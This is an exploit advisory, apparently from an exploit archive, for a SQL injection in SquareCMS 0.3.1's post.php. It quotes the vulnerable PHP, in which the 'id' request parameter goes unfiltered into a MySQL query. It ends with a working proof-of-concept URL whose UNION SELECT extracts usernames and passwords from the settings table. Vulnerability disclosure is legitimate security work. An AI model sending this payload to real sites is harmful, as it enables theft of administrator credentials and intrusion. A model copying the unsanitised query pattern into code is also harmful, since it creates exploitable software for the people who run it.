SquareCMS 0.3.1 – ‘post.php’ SQL Injection
SquareCMS 0.3.1 (post.php) Remote SQL Injection Vulnerability found by cOndemned vendor: http://spoolio.co.cc/ download: http://webscripts.softpedia.com/script/Content-Management/Square-CMS-66303.html prior versions may also be affected source of post.php lines 15 - 31: $token = $_GET['id']; // [1] if (isset($token)) { if ($result = mysql_query("SELECT * FROM $posts WHERE id=$token LIMIT 1")) // [2] { if ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { header("Location: ".get_friendly_url($row['url'])); // [3] exit(); } } } header($_SERVER["SERVER_PROTOCOL"]." 404 Not Found"); // Return a 404 // [4] header("Content-Type: text/plain"); print("404 Not Found\n"); description: User input from variable token [1] is being used in the MySQL query [2] without any filtration, so that there is possibility to run arbitarary sql commands. If query is correct (returns proper result) user will be redirected to an url containing response [3]. In other case cms will force throwing 404 server response [4] .... proof of concept: http://target/post.php?id=-1+union+select+1,2,concat_ws(0x3a,username,password),4,5,6,7,8,9+from+square_settings-- |